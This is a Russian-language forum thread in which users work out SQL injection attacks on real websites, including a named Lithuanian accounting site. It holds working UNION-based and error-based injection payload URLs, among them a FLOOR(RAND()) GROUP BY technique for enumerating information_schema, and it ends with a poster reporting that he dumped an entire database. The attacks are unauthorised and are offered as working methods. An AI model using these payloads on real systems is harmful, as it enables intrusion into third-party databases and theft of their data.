Blind SQL или есть варианты?

[labanec]

Здравствуйте. Если возможно, не убивайте их сайт.

Смотрел так, получил имя пользователя:


http://www.buhalteriams.lt/?id=42+union+select+user%28%29+INTO+OUTFILE+%271.p hp%27+--+1
(http://www.buhalteriams.lt/?id=42+union+select+user%28%29+INTO+OUTFILE+%271.p hp%27+--+1)

Если делаю запрос


http://www.buhalteriams.lt/?id=42+union+select+table_schema+from+information_ schema.tables--+1

, пишет, что локаль не совпадает(Illegal mix of collations for operation 'UNION').

Пробовал другие запросы (к примеру для вывода user()) - ошибок не выводит но и ничего не показывает.

Подскажите как можно обойти проблемму локали. И как заставить показывать результат запроса, если ошибок нету ? Спасибо.

[winstrool]

А чем вас Error вектор не устраивает? http://www.buhalteriams.lt/?id=42+O...,database())),1,63)+,+ FLOOR(RAND(0)*2)))+--+ (http://www.buhalteriams.lt/?id=42+OR+(SELECT+COUNT(*)+FROM+(SELECT+1+UNION+SE LECT+2+UNION+SELECT+3)x+GROUP+BY+CONCAT(MID((selec t+concat_ws(0x3a,user(),version(),database())),1,6 3)+,+%20FLOOR(RAND(0)*2)))+--+)

[labanec]

Моими слабыми знаниями Буду дальше копать, благодарю. Не до конца понимал как составлять запросы такого типа.

[labanec]

Тут другyю страничку за титьку щупаю. При инжекции кидает что селект запрос для information_schema.tables под запретом для текущего юзверя. По убогому функционалу сайтика, контента под другими БД юзверями не предвидется. Error вектор, как я понял, не поможет? Только угадать таблицы, конечно если их дадут селектить?

[labanec]

Вот так обошел запрет на селект запросы для текущего пользователя БД и содрал названиея ячеек таблиц. Для знатоков баян конечно же, для меня открытие

id=22+and(select 1 from(select count(*),concat((SELECT column_name FROM information_schema.columns limit 176,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Перебираем чиска (к примеру теперь 176) и тяням по одному названию ячейки. Названия ячеек лежат в куче, но по первому ID можно определить, что началась новая таблица. Почемуто concat_ws, concat, group_concat не смог использовать, база цеплялась к ошибке "колумсов больше 1".

Когда узнал названия таблиц а после названия столбцов, база была в кармане. Вот тогда и сгрупировать ячейки смог и всю базу содрал